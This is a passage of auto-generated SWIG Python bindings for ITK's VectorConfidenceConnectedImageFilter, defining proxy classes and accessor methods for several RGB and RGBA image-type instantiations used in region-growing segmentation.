itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_swigregister
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_swigregister(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3)
def itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3 *":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBAUC3IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_swigregister
itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_swigregister(itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3)
def itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3 *":
"""itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBAUC3IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBUC2ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_swigregister
itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_swigregister(itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2)
def itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2 *":
"""itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2(itkImageToImageFilterBPython.itkImageToImageFilterIRGBUC2IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self) -> itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC2IUC2_PrintSelf(self, os, indent)
